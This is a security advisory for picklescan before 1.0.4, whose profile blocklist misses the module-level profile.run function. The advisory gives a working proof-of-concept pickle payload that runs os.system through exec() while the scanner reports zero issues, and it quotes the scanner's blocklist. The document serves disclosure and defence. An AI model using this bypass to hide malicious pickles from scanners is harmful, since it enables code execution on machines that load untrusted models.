GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass

• PyPI picklescan: < 1.0.4 → fixed in 1.0.4

Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. Severity High — Direct code execution via `exec()` with zero scanner detection. Affected Versions • picklescan v1.0.3 (latest — the profile entries were added in recent versions) • Earlier versions also affected (profile not blocked at all) Details Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: • `module = "profile"` • `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? Answer: NO. `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. What `profile.run()` Does ```python From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` Resources • picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) • picklescan source: `scanner.py` line 414 (exact string match logic) • Python source: `Lib/profile.py` `run()` function — calls `exec()`